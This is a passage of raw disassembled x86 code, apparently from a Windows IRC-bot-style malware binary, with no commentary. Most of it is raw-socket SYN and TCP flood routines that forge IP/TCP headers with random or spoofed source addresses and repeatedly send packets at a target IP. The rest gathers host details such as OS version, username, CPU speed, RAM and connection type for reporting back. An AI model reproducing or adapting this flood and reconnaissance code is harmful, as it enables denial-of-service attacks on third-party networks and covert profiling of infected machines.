= byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_44B638 ; WSAStartup test eax, eax jz short loc_414FA7 xor eax, eax jmp loc_415215 ; --------------------------------------------------------------------------- loc_414FA7: ; CODE XREF: sub_414F67+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_44B764 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_41520D push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_44B6A0 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_415203 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_4189A0 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_44B6C0 ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_44B6C0 ; htons push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_44B6C0 ; htons push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_44B6C0 ; htons mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call ds:dword_494328 lea eax, [ebp+var_8] push eax call ds:dword_494324 push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41A2F0 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_415092: ; CODE XREF: sub_414F67+25Dj ; sub_414F67+26Bj mov [ebp+var_24], bx call sub_419000 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_44B6C0 ; htons mov [ebp+var_34], ax call sub_419000 mov edi, eax shl edi, 10h call sub_419000 or edi, eax push edi call dword_44B6C0 ; htons movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_44B6BC ; htonl push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_44B6C0 ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_418A00 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_418A00 lea eax, [ebp+var_B4] push 34h push eax call sub_40B045 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_418A00 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_418A00 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_4189A0 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40B045 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_418A00 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_44B724 ; sendto cmp eax, 0FFFFFFFFh jz short loc_4151D7 add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call ds:dword_494324 mov eax, [ebp+var_4] cmp eax, esi jg short loc_415200 jl loc_415092 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_415200 jmp loc_415092 ; --------------------------------------------------------------------------- loc_4151D7: ; CODE XREF: sub_414F67+247j call dword_44B654 ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset aSynSendErrorD_ ; "[SYN]: Send error: <%d>." push eax call sub_418D70 lea eax, [ebp+var_F4] push eax call sub_4035E1 add esp, 10h jmp short loc_415203 ; --------------------------------------------------------------------------- loc_415200: ; CODE XREF: sub_414F67+25Bj ; sub_414F67+269j mov ebx, [ebp+arg_8] loc_415203: ; CODE XREF: sub_414F67+78j ; sub_414F67+297j push [ebp+var_C] call dword_44B758 ; closesocket pop esi loc_41520D: ; CODE XREF: sub_414F67+5Bj call dword_44B620 ; WSACleanup mov eax, ebx loc_415215: ; CODE XREF: sub_414F67+3Bj pop edi pop ebx leave retn sub_414F67 endp ; =============== S U B R O U T I N E ======================================= sub_415219 proc near ; CODE XREF: sub_414ECB+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40AED0 push [esp+10h+arg_4] mov esi, eax call sub_4195F0 push [esp+14h+arg_8] mov ebx, eax call sub_4195F0 mov edi, eax call sub_419000 cdq loc_415243: ; DATA XREF: .data:004437B8o ; .data:004437C0o mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_414F67 add esp, 1Ch test eax, eax jnz short loc_415264 push 1 pop eax loc_415264: ; CODE XREF: sub_415219+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_415219 endp ; =============== S U B R O U T I N E ======================================= sub_415273 proc near ; CODE XREF: sub_402853+74p ; sub_40C50A+5819p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call ds:dword_494308 xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_492018 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_418EF0 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_415273 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4152DC proc near ; CODE XREF: sub_405C86+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h call ds:dword_4943F4 test eax, eax jz short loc_41536F cmp [ebp+var_90], 4 jnz short loc_415345 cmp [ebp+var_8C], esi jnz short loc_41532D cmp [ebp+var_84], 1 jnz short loc_415320 push 1 pop esi loc_415320: ; CODE XREF: sub_4152DC+3Fj cmp [ebp+var_84], 2 jnz short loc_41536F push 1 jmp short loc_41536E ; --------------------------------------------------------------------------- loc_41532D: ; CODE XREF: sub_4152DC+36j cmp [ebp+var_8C], 0Ah jnz short loc_41533A loc_415336: ; CODE XREF: sub_4152DC:loc_415354j push 2 jmp short loc_41536E ; --------------------------------------------------------------------------- loc_41533A: ; CODE XREF: sub_4152DC+58j cmp [ebp+var_8C], 5Ah jnz short loc_41536F jmp short loc_41535F ; --------------------------------------------------------------------------- loc_415345: ; CODE XREF: sub_4152DC+2Ej ; DATA XREF: .data:00443A20o cmp [ebp+var_90], 5 jnz short loc_41536F cmp [ebp+var_8C], esi loc_415354: ; DATA XREF: .data:00443C0Co jz short loc_415336 cmp [ebp+var_8C], 1 jnz short loc_415363 loc_41535F: ; CODE XREF: sub_4152DC+67j push 3 jmp short loc_41536E ; --------------------------------------------------------------------------- loc_415363: ; CODE XREF: sub_4152DC+81j cmp [ebp+var_8C], 2 jnz short loc_41536F push 7 loc_41536E: ; CODE XREF: sub_4152DC+4Fj ; sub_4152DC+5Cj ... pop esi loc_41536F: ; CODE XREF: sub_4152DC+25j ; sub_4152DC+4Bj ... mov eax, esi pop esi leave retn sub_4152DC endp ; =============== S U B R O U T I N E ======================================= sub_415374 proc near ; CODE XREF: sub_415430+290p push ebx push esi push edi mov esi, 0F4240h loc_41537C: ; CODE XREF: sub_415374+35j ; sub_415374+3Bj call sub_4157AD push 3E8h mov edi, eax mov ebx, edx call ds:dword_4942D8 call sub_4157AD sub eax, edi push 0 sbb edx, ebx push esi push edx push eax call sub_41A440 mov edi, edx mov ebx, eax test edi, edi ja short loc_41537C jb short loc_4153B1 cmp ebx, esi ja short loc_41537C loc_4153B1: ; CODE XREF: sub_415374+37j push 0 push 64h push edi push ebx call sub_41A4B0 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_415424 jb short loc_4153D0 cmp esi, 50h jnb short loc_4153D5 loc_4153D0: ; CODE XREF: sub_415374+55j push 4Bh xor edx, edx pop eax loc_4153D5: ; CODE XREF: sub_415374+5Aj test ecx, ecx ja short loc_415424 jb short loc_4153E0 cmp esi, 47h jnb short loc_4153E5 loc_4153E0: ; CODE XREF: sub_415374+65j push 42h xor edx, edx pop eax loc_4153E5: ; CODE XREF: sub_415374+6Aj test ecx, ecx ja short loc_415424 jb short loc_4153F0 cmp esi, 37h jnb short loc_4153F5 loc_4153F0: ; CODE XREF: sub_415374+75j push 32h xor edx, edx pop eax loc_4153F5: ; CODE XREF: sub_415374+7Aj test ecx, ecx ja short loc_415424 jb short loc_415400 cmp esi, 26h jnb short loc_415405 loc_415400: ; CODE XREF: sub_415374+85j push 21h xor edx, edx pop eax loc_415405: ; CODE XREF: sub_415374+8Aj test ecx, ecx ja short loc_415424 jb short loc_415410 cmp esi, 1Eh jnb short loc_415415 loc_415410: ; CODE XREF: sub_415374+95j push 19h xor edx, edx pop eax loc_415415: ; CODE XREF: sub_415374+9Aj test ecx, ecx ja short loc_415424 jb short loc_415420 cmp esi, 0Ah jnb short loc_415424 loc_415420: ; CODE XREF: sub_415374+A5j xor eax, eax xor edx, edx loc_415424: ; CODE XREF: sub_415374+53j ; sub_415374+63j ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_415374 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415430 proc near ; CODE XREF: sub_40C50A+59E0p var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset dword_492050 mov [ebp+var_CC], 94h call ds:dword_4943F4 xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_4154B7 cmp [ebp+var_C4], ebx jnz short loc_415493 cmp [ebp+var_BC], 1 jnz short loc_41547D mov [ebp+var_4], offset a95_0 ; "95" loc_41547D: ; CODE XREF: sub_415430+44j cmp [ebp+var_BC], 2 jnz loc_415532 mov [ebp+var_4], offset aNt_0 ; "NT" jmp short loc_415503 ; --------------------------------------------------------------------------- loc_415493: ; CODE XREF: sub_415430+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_4154A5 mov [ebp+var_4], offset a98_0 ; "98" jmp short loc_4154FA ; --------------------------------------------------------------------------- loc_4154A5: ; CODE XREF: sub_415430+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_4154F3 mov [ebp+var_4], offset aMe_1 ; "ME" jmp short loc_4154FA ; --------------------------------------------------------------------------- loc_4154B7: ; CODE XREF: sub_415430+33j cmp [ebp+var_C8], 5 jnz short loc_4154F3 cmp [ebp+var_C4], ebx jnz short loc_4154D1 mov [ebp+var_4], offset a2k_0 ; "2K" jmp short loc_4154FA ; --------------------------------------------------------------------------- loc_4154D1: ; CODE XREF: sub_415430+96j cmp [ebp+var_C4], 1 jnz short loc_4154E3 mov [ebp+var_4], offset aXp_0 ; "XP" jmp short loc_4154FA ; --------------------------------------------------------------------------- loc_4154E3: ; CODE XREF: sub_415430+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_4154FA loc_4154F3: ; CODE XREF: sub_415430+7Cj ; sub_415430+8Ej mov [ebp+var_4], offset a???_0 ; "???" loc_4154FA: ; CODE XREF: sub_415430+73j ; sub_415430+85j ... cmp [ebp+var_BC], 2 jnz short loc_415532 loc_415503: ; CODE XREF: sub_415430+61j cmp [ebp+var_B8], bl jz short loc_415532 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_12 ; "%s (%s)" push eax call sub_418D70 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_415532: ; CODE XREF: sub_415430+54j ; sub_415430+D1j ... mov ax, word_44274C push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_44B5AC mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41556B lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax ; GetUserNameA loc_41556B: ; CODE XREF: sub_415430+12Cj push [ebp+arg_4] call sub_40AFEC pop ecx push eax call dword_44B700 ; inet_addr mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_44B678 ; gethostbyaddr cmp eax, ebx jz short loc_415594 push dword ptr [eax] jmp short loc_415599 ; --------------------------------------------------------------------------- loc_415594: ; CODE XREF: sub_415430+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_415599: ; CODE XREF: sub_415430+162j lea eax, [ebp+var_3E4] push eax call sub_418D70 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call ds:dword_494320 lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi call ds:dword_494378 lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs_0 ; "HH:mm:ss" push ebx push ebx push esi call ds:dword_494374 push 20h lea eax, [ebp+var_38] push ebx push eax call sub_4189A0 add esp, 0Ch lea eax, [ebp+var_38] push eax call ds:dword_494404 push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41B4D0 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_4056BD push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_415273 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AFEC pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_4055AD pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_4055AD pop ecx pop ecx push eax call sub_415374 push edx push eax push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"... push 200h push [ebp+arg_0] call sub_418EF0 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_415430 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4156E4 proc near ; CODE XREF: sub_40C50A+4576p ; sub_40C50A+5A0Ep var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_4189A0 add esp, 0Ch cmp dword_44B7A8, 0 jnz short loc_415758 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_44B590 ; InternetGetConnectedStateEx test eax, eax jnz short loc_415739 lea eax, [ebp+var_8C] push offset aNotConnected ; "Not connected" push eax call sub_418D70 pop ecx pop ecx loc_415739: ; CODE XREF: sub_4156E4+40j test [ebp+var_C], 1 jz short loc_415751 push offset aDialUp ; "Dial-up" loc_415744: ; CODE XREF: sub_4156E4+72j lea eax, [ebp+var_8] push eax call sub_418D70 pop ecx pop ecx jmp short loc_41577A ; --------------------------------------------------------------------------- loc_415751: ; CODE XREF: sub_4156E4+59j push offset aLan ; "LAN" jmp short loc_415744 ; --------------------------------------------------------------------------- loc_415758: ; CODE XREF: sub_4156E4+28j lea eax, [ebp+var_8] push offset off_442874 push eax call sub_418D70 lea eax, [ebp+var_8C] push offset off_442878 push eax call sub_418D70 add esp, 10h loc_41577A: ; CODE XREF: sub_4156E4+6Bj push [ebp+arg_4] push [ebp+arg_8] call sub_40AFEC pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 200h push [ebp+arg_0] call sub_418EF0 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_4156E4 endp ; =============== S U B R O U T I N E ======================================= sub_4157AD proc near ; CODE XREF: sub_415374:loc_41537Cp ; sub_415374+1Cp rdtsc retn sub_4157AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157B0 proc near ; DATA XREF: sub_40C50A+2D54o var_440 = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_9F] push 0Eh mov [eax+19Ch], esi pop ecx xor eax, eax mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, ds:dword_494308 call edi push eax call sub_418FF0 pop ecx push 0FFh push 3 push 2 call dword_44B740 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_415879 call dword_44B654 ; WSAGetLastError push eax lea eax, [ebp+var_440] push offset aTcpErrorSocket ; "[TCP]: Error: socket() failed, returned"... push eax call sub_418D70 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_415859 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40842D add esp, 14h loc_415859: ; CODE XREF: sub_4157B0+84j lea eax, [ebp+var_440] push eax call sub_4035E1 push [ebp+var_BC] call sub_416507 pop ecx pop ecx push ebx call ds:dword_4942FC loc_415879: ; CODE XREF: sub_4157B0+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call dword_44B6A0 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_4158F7 call dword_44B654 ; WSAGetLastError push eax lea eax, [ebp+var_440] push offset aTcpErrorSetsoc ; "[TCP]: Error: setsockopt() failed, retu"... push eax call sub_418D70 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_4158D7 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40842D add esp, 14h loc_4158D7: ; CODE XREF: sub_4157B0+102j lea eax, [ebp+var_440] push eax call sub_4035E1 push [ebp+var_BC] call sub_416507 pop ecx pop ecx push ebx call ds:dword_4942FC loc_4158F7: ; CODE XREF: sub_4157B0+DFj lea eax, [ebp+var_23C] push eax call dword_44B700 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_415967 lea eax, [ebp+var_440] push offset aTcpInvalidTarg ; "[TCP]: Invalid target IP." push eax call sub_418D70 cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_415947 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40842D add esp, 14h loc_415947: ; CODE XREF: sub_4157B0+172j lea eax, [ebp+var_440] push eax call sub_4035E1 push [ebp+var_BC] call sub_416507 pop ecx pop ecx push ebx call ds:dword_4942FC loc_415967: ; CODE XREF: sub_4157B0+157j push 10h lea eax, [ebp+var_44] push ebx push eax call sub_4189A0 add esp, 0Ch mov [ebp+var_44], 2 push ebx call dword_44B6C0 ; htons mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call dword_44B700 ; inet_addr mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi mov [ebp+var_30], eax loc_41599F: ; CODE XREF: sub_4157B0+430j call edi sub eax, [ebp+var_30] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_B4] ja loc_415C63 push 28h mov [ebp+var_2C], 45h call dword_44B6C0 ; htons cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_415A12 call sub_419000 mov esi, eax shl esi, 8 call sub_419000 add esi, eax shl esi, 8 call sub_419000 add esi, eax shl esi, 8 call sub_419000 add esi, eax push 1 mov [ebp+var_20], esi pop esi jmp short loc_415A28 ; --------------------------------------------------------------------------- loc_415A12: ; CODE XREF: sub_4157B0+233j push [ebp+var_240] call sub_40AFEC pop ecx push eax call dword_44B700 ; inet_addr mov [ebp+var_20], eax loc_415A28: ; CODE XREF: sub_4157B0+260j mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_415A46 call sub_419000 cdq mov ecx, 401h idiv ecx push edx jmp short loc_415A4C ; --------------------------------------------------------------------------- loc_415A46: ; CODE XREF: sub_4157B0+284j push [ebp+var_B8] loc_415A4C: ; CODE XREF: sub_4157B0+294j call dword_44B6C0 ; htons mov [ebp+var_16], ax call sub_419000 cdq mov ecx, 401h idiv ecx push edx call dword_44B6C0 ; htons push 12345678h mov [ebp+var_18], ax call dword_44B6BC ; htonl mov [ebp+var_14], eax lea eax, [ebp+var_1BC] push offset aSyn_2 ; "syn" push eax call sub_419AB0 pop ecx test eax, eax pop ecx jz short loc_415A9C mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_415AF8 ; --------------------------------------------------------------------------- loc_415A9C: ; CODE XREF: sub_4157B0+2E1j lea eax, [ebp+var_1BC] push offset aAck_0 ; "ack" push eax call sub_419AB0 pop ecx test eax, eax pop ecx jz short loc_415ABC mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_415AF8 ; --------------------------------------------------------------------------- loc_415ABC: ; CODE XREF: sub_4157B0+301j lea eax, [ebp+var_1BC] push offset aRandom_2 ; "random" push eax call sub_419AB0 pop ecx test eax, eax pop ecx jz short loc_415AF8 call sub_419000 push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call sub_419000 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_415AF8: ; CODE XREF: sub_4157B0+2EAj ; sub_4157B0+30Aj ... push 200h mov [ebp+var_C], 50h call dword_44B6C0 ; htons mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+var_64], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 call dword_44B6C0 ; htons mov [ebp+var_5A], ax lea eax, [ebp+var_64] push 20h push eax lea eax, [ebp+var_A0] push eax call sub_418A00 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_80] push eax call sub_418A00 lea eax, [ebp+var_A0] push 34h push eax call sub_40B045 mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_418A00 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_8C] push eax call sub_418A00 push 4 lea eax, [ebp+var_78] push ebx push eax call sub_4189A0 add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_40B045 mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_418A00 add esp, 14h lea eax, [ebp+var_44] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call dword_44B724 ; sendto cmp eax, 0FFFFFFFFh jz short loc_415BE5 inc [ebp+arg_0] jmp loc_41599F ; --------------------------------------------------------------------------- loc_415BE5: ; CODE XREF: sub_4157B0+42Bj push [ebp+var_4] call dword_44B758 ; closesocket call dword_44B654 ; WSAGetLastError push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push offset aTcpErrorSendin ; "[TCP]: Error sending packets to IP: %s."... lea eax, [ebp+var_440] push 200h push eax call sub_418EF0 add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_415C43 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40842D add esp, 14h loc_415C43: ; CODE XREF: sub_4157B0+46Ej lea eax, [ebp+var_440] push eax call sub_4035E1 push [ebp+var_BC] call sub_416507 pop ecx pop ecx push ebx call ds:dword_4942FC loc_415C63: ; CODE XREF: sub_4157B0+203j push [ebp+var_4] call dword_44B758 ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+var_1BC] push eax lea eax, [ebp+var_440] push offset aTcpDoneWithSFl ; "[TCP]: Done with %s flood to IP: %s. Se"... push eax call sub_418D70 add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_415CD4 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40842D add esp, 14h loc_415CD4: ; CODE XREF: sub_4157B0+4FFj lea eax, [ebp+var_440] push eax call sub_4035E1 push [ebp+var_BC] call sub_416507 pop ecx pop ecx push ebx call ds:dword_4942FC sub_4157B0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415CF4 proc near ; CODE XREF: sub_415CF4:loc_4161DFp ; DATA XREF: sub_402994+107o ... var_884 = dword ptr -884h var_880 = dword ptr -880h var_780 = byte ptr -780h var_580 = byte ptr -580h var_57F = byte ptr -57Fh var_57E = byte ptr -57Eh var_57D = byte ptr -57Dh var_57C = byte ptr -57Ch var_37C = dword ptr -37Ch var_378 = byte ptr -378h var_274 = byte ptr -274h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = byte ptr -164h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h var_D6 = byte ptr -0D6h var_D5 = byte ptr -0D5h var_58 = byte ptr -58h var_44 = word ptr -44h var_42 = word ptr 